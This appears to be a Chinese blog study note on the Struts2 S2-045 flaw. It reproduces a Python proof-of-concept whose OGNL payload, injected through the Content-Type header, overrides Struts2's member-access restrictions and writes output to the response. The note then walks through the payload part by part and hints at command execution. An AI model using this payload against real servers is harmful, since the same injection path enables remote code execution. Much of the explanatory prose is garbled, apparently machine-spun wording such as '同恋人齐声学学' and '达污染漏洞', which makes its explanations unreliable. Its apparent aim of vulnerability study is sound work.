ACCESSS02-45 struts2 风行漏洞 学习记录

今天同恋人齐声学学S02-45。按照合法解释:Content-Type:multipart/form-data
这个法建立的时,能够触发jakarta的达污染漏洞。可能造成远程执行任意代码或者达到污染文书。

freebuf给出的POC如下:

import requests

import sys


def poc(url):

    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

    headers = {}

    headers["Content-Type"] = payload

    r = requests.get(url, headers=headers)

    if "105059592" in r.content:

        return True


    return False



if __name__ == '__main__':

    if len(sys.argv) == 1:

        print "python s2-045.py target"

        sys.exit()

    if poc(sys.argv[1]):

        print "vulnerable"

    else:

        print "not vulnerable"

提出payload为:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

率先指定:

#test='multipart/form-data

其一是以触发漏洞的前提条件,也就算是Content-Type:multipart/form-data。

然后对接下:

.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).

由此ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将取之结果覆盖_memberAccess属性,这样就算好绕了SecurityMemberAccess的限制。

最后一局部:

(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

实例化org.apache.struts2.ServletActionContext@getResponse(),调用输出流getOutputStream()。然后输出println(102*102*102*99)。

 

精心之朋友肯定会发现,如果实例化别的好像,是不是会扩大更多职能吗?

网上传的授命执行已经比多了,不再多说了。如果喜欢深入钻研的,可以留言。

相关文章